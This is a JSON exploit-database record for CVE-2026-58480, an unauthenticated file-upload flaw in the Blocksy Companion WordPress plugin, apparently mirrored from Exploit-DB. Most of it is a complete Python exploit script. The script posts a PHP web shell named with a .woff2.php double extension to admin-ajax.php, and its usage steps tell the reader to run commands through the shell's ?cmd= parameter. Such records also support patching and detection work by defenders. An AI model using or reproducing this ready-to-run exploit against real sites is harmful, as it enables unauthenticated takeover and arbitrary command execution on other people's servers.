{"exploit":{"id":"EDB-52640","name":"Creative Themes Blocksy Companion 2.1.46 - Remote Code Execution (RCE)","description":"Creative Themes Blocksy Companion 2.1.46 - Remote Code Execution (RCE)","cves":["CVE-2026-58480"],"author":"banyamer","published":"2026-08-11","platform":"multiple","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52640","path":"exploits/multiple/webapps/52640.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52640.py","vulnerabilities":[{"id":"CVE-2026-58480","state":"PUBLISHED","title":"Blocksy Companion Pro < 2.1.47 Unauthenticated File Upload via save_attachments","titleSource":"CVE Program","description":"Blocksy Companion Pro plugin for WordPress before 2.1.47 contains an unauthenticated arbitrary file upload vulnerability that allows attackers to upload executable files by bypassing extension validation in the save_attachments function exposed through the Advanced Reviews feature. Attackers can exploit the Custom Fonts extension's flawed strpos() substring check by uploading double-extension filenames such as shell.woff2.php, causing the validation to pass on the substring match while the web server executes the file as PHP, achieving remote code execution.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-58480","cvss":{"version":"4.0","baseScore":9.2,"severity":"critical","vectorString":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","source":"VulnCheck","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-58480"},"updatedAt":"2026-07-14T22:03:17.700Z","retrievedAt":"2026-11-25T16:13:47.268Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52640.png?v=2","url":"https://exploitbin.com/exploits/EDB-52640","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52640/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52640/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/env python3\n# Exploit Title:        Blocksy Companion 2.1.46 - RCE\n# CVE:                  CVE-2026-58480\n# Date:                 2026-07-13\n# Exploit Author:       Mohammed Idrees Banyamer\n# Author Country:       Jordan\n# Instagram:            @banyamer_security\n# Author GitHub:        https://github.com/mbanyamer\n# Author Blog  :        https://banyamersecurity.com/blog/\n# Vendor Homepage:      https://creativethemes.com\n# Software Link:        https://wordpress.org/plugins/blocksy-companion/\n# Affected:             Blocksy Companion <= 2.1.46 (Pro with Advanced Reviews + Custom Fonts)\n# Tested on:            WordPress + Blocksy Companion 2.1.46\n# Category:             WebApps\n# Platform:             PHP\n# Exploit Type:         Remote Code Execution (Unauthenticated)\n# CVSS:                 9.8 (Critical)\n# Description:          Unauthenticated arbitrary file upload via blc-review-images[] parameter in save_attachments.\n#                       Double-extension bypass (.woff2.php) due to strpos() check in Custom Fonts extension.\n# Fixed in:             2.1.47\n# Usage:\n#   python3 exploit.py <target_url>\n#\n# Examples:\n#   python3 exploit.py http://target.com\n#\n# Notes:\n#   • Requires Advanced Reviews and Custom Fonts extensions enabled.\n#   • Uploaded shell lands in wp-content/uploads/ (check response for exact path).\n#\n# How to Use\n#\n# Step 1:\n#   Run the script with target URL.\n#\n# Step 2:\n#   Use the generated shell URL with ?cmd=command (e.g. ?cmd=id)\n\nimport requests\nimport sys\n\ndef banner():\n    print(r\"\"\"\n╔██████╗  █████╗ ███╗   ██╗██╗   ██╗ █████╗ ███╗   ███╗███████╗██████╗╗\n║██╔══██╗██╔══██╗████╗  ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║\n║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗  ██████╔╝\n║██╔══██╗██╔══██║██║╚██╗██║  ╚██╔╝  ██╔══██║██║╚██╔╝██║██╔══╝  ██╔══██╗\n║██████╔╝██║  ██║██║ ╚████║   ██║   ██║  ██║██║ ╚═╝ ██║███████╗██║  ██║\n╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═══╝   ╚═╝   ╚═╝  ╚═╝╚═╝     ╚═╝╚══════╝╚═╝  ╚═╝\n        ╔═╗ Banyamer Security ╔═╗\n\"\"\")\n\nif len(sys.argv) < 2:\n    banner()\n    print(\"Usage: python3 exploit.py <http://target.com>\")\n    sys.exit(1)\n\nbanner()\n\ntarget = sys.argv[1].rstrip('/')\nshell_name = \"poc.woff2.php\"\npayload = \"\"\"<?php\nif(isset($_GET['cmd'])) {\n    system($_GET['cmd']);\n    exit;\n}\necho 'Blocksy RCE PoC - CVE-2026-58480 | @banyamer_security';\n?>\n\"\"\"\n\nfiles = {\n    'blc-review-images[]': (shell_name, payload, 'application/octet-stream')\n}\n\ndata = {\n    'action': 'blc_save_review_attachments'\n}\n\nprint(\"[+] Sending unauthenticated file upload...\")\ntry:\n    r = requests.post(f\"{target}/wp-admin/admin-ajax.php\", files=files, data=data, timeout=15)\n    print(f\"Status: {r.status_code}\")\n    print(r.text[:600])\n    print(\"\\n[+] If successful, check wp-content/uploads/ for the shell.\")\n    print(f\"[+] Example: {target}/wp-content/uploads/YEAR/MONTH/{shell_name}?cmd=id\")\nexcept Exception as e:\n    print(f\"[-] Error: {e}\")","sha256":"5d207bbc069056c47deee8622229acdddf1830f3a40a616227d5bde0a8ef2ff7","bytes":3666,"fetchedAt":"2026-11-26T08:55:43.856Z","encoding":"utf-8 (display only; download retains original bytes)"}